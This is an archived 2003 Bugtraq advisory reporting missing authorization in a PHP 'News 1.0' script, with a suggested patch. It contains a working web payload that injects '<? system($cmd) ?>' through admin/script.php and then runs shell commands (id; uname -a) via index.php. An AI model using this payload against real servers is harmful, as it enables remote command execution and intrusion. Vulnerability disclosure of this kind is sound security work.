bugtraq - Vulnerability in News/Новости

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <1286110150.20030331171639@mail.ru>
Date: Mon, 31 Mar 2003 17:16:39 +0400
From: Over_G <overg@...l.ru>
To: bugtraq@...urityfocus.com
Subject: Vulnerability in News/Новости


Product: News
Version: 1.0
OffSite: http://xonix.ru
Problem: Add news
--------------------------------------

You may add news without autorization.

http://[target]/admin/script.php?data=ENTER_THIS_YOUR_NEWS.

example:

http://[target]/admin/script.php?data=script.php?data=<? system($cmd) ?>
then open http://[target]/index.php?cmd=id;uname -a; 
etc...


Patch.

Add in index.php :
<input type=hidden name=pass value=<?=$pass?>> Before </form> 

And add in script.php after include("config.php");
if (!isset($pass)) exit;
$q=strcmp($pass,$password);



greetz: GipsHack, DHGroup, subj, Lobst, and all, who know me 

Contacts: www.overg.com www.dwcgr0up.com
irc.zaingandol.org #DWC
ogprog@....net


Best regards, Over G[DWC Gr0up]